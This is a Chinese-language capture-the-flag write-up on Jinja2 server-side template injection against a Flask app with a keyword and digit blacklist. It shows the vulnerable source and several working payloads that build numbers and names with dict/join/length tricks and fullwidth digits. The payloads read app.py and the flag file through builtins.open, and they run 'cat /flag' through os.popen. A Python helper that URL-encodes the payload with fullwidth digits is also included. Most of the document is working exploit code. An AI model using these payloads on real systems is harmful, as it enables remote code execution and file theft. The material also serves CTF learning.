Werkzeug/1.0.1Python/3.8.7
看源码EXP
{%set num=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set numm=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set x=(()|select|string|list).pop(num)%}
{%set glob = (x,x,dict(globals=a)|join,x,x)|join %}
{%set builtins=x~x~(dict(builtins=a)|join)~x~x%}
{%set c = dict(chr=a)|join%}
{%set o = dict(o=a,s=a)|join%}
{%set getitem = x~x~(dict(getitem=a)|join)~x~x%}
{%set chr = lipsum|attr(glob)|attr(getitem)(builtins)|attr(getitem)(c)%}
{%set file = dict(app=a)|join~chr(numm)~dict(py=a)|join%}
{%print((lipsum|attr(glob)|attr(getitem)(builtins)).open(file).read())%}
源码
from flask import Flask
from flask import request
from flask import render_template_string
from flask import session
import re
app = Flask(__name__)
@app.route('/')
def app_index():
name = request.args.get('name')
if name:
if re.search(r"\'|\"|args|\[|\_|os|\{\{|request|[0-9]",name,re.I):
return ':('
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Hello</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.args.get('name'))
return render_template_string(template)
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
过滤了数字,翻了下 web369的 EXP,也就两个地方用到了数字,问题不大。
翻了下 Jinja2 文档,提供数字的方法还挺多的
https://jinja.palletsprojects.com/en/2.11.x/templates/#int
https://jinja.palletsprojects.com/en/2.11.x/templates/#sum
https://jinja.palletsprojects.com/en/2.11.x/templates/#length
https://jinja.palletsprojects.com/en/2.11.x/templates/#wordcount
不过考虑到过滤数字,int 和 sum 应该可以排除
用 length
试试,因为用 os
模块执行命令会代码量会大点,这里先直接用 open
读文件
{% set num=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|length %}
{% set numm=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|length %}
{% set x=(()|select|string|list).pop(num) %}
{% set g=x~x~(dict(globals=x)|join)~x~x %}
{% set ge=x~x~(dict(getitem=x)|join)~x~x %}
{% set b=x~x~(dict(builtins=x)|join)~x~x %}
{% set buin=(lipsum|attr(g)|attr(ge))(b) %}
{% set chr=buin.chr %}
{% set file = chr(numm)~dict(flag=a)|join %}
{% print(buin.open(file).read()) %}
当然也可以用 SSRF 或者其他地方学到的思路,即用全角1、2,或者圆圈1、2之类的
先把上一题的 EXP 搬过来
{% set x=()|select|string|list|attr(dict(pop=1)|join)(24) %}
{% set g=x~x~(dict(globals=x)|join)~x~x %}
{% set ge=x~x~(dict(getitem=x)|join)~x~x %}
{% set b=x~x~(dict(builtins=x)|join)~x~x %}
{% set buin=(lipsum|attr(g)|attr(ge))(b) %}
{% set chr=buin.chr %}
{% set o=lipsum|attr(g)|attr(ge)(chr(111)+chr(115)) %}
{% set cmd=chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(116)+chr(109)+chr(112)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103) %}
{% print(o.popen(cmd).read()) %}
转换一下
from urllib.parse import quote
def halfnum2full(half):
full = ''
for ch in half:
if ord(ch) in range(48, 58):
ch = chr(ord(ch) + 0xfee0)
else:
pass
full += ch
return full
raw = """{% set x=()|select|string|list|attr(dict(pop=1)|join)(24) %}
{% set g=x~x~(dict(globals=x)|join)~x~x %}
{% set ge=x~x~(dict(getitem=x)|join)~x~x %}
{% set b=x~x~(dict(builtins=x)|join)~x~x %}
{% set buin=(lipsum|attr(g)|attr(ge))(b) %}
{% set chr=buin.chr %}
{% set o=lipsum|attr(g)|attr(ge)(chr(111)+chr(115)) %}
{% set cmd=chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103) %}
{% print(o.popen(cmd).read()) %}"""
payload = ''
for i in raw:
payload += halfnum2full(i)
print(quote(payload))
运行脚本输出
%7B%25%20set%20x%3D%28%29%7Cselect%7Cstring%7Clist%7Cattr%28dict%28pop%3D%EF%BC%91%29%7Cjoin%29%28%EF%BC%92%EF%BC%94%29%20%25%7D%0A%7B%25%20set%20g%3Dx~x~%28dict%28globals%3Dx%29%7Cjoin%29~x~x%20%25%7D%0A%7B%25%20set%20ge%3Dx~x~%28dict%28getitem%3Dx%29%7Cjoin%29~x~x%20%25%7D%0A%7B%25%20set%20b%3Dx~x~%28dict%28builtins%3Dx%29%7Cjoin%29~x~x%20%25%7D%0A%7B%25%20set%20buin%3D%28lipsum%7Cattr%28g%29%7Cattr%28ge%29%29%28b%29%20%25%7D%0A%7B%25%20set%20chr%3Dbuin.chr%20%25%7D%0A%7B%25%20set%20o%3Dlipsum%7Cattr%28g%29%7Cattr%28ge%29%28chr%28%EF%BC%91%EF%BC%91%EF%BC%91%29%2Bchr%28%EF%BC%91%EF%BC%91%EF%BC%95%29%29%20%25%7D%0A%7B%25%20set%20cmd%3Dchr%28%EF%BC%99%EF%BC%99%29%2Bchr%28%EF%BC%99%EF%BC%97%29%2Bchr%28%EF%BC%91%EF%BC%91%EF%BC%96%29%2Bchr%28%EF%BC%93%EF%BC%92%29%2Bchr%28%EF%BC%94%EF%BC%97%29%2Bchr%28%EF%BC%91%EF%BC%90%EF%BC%92%29%2Bchr%28%EF%BC%91%EF%BC%90%EF%BC%98%29%2Bchr%28%EF%BC%99%EF%BC%97%29%2Bchr%28%EF%BC%91%EF%BC%90%EF%BC%93%29%20%25%7D%0A%7B%25%20print%28o.popen%28cmd%29.read%28%29%29%20%25%7D
替换所有可见字符为全角的完整版
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
raw = '0123456789'
t = ''
for i in raw:
t += '\''+half2full(i)+'\','
print(t)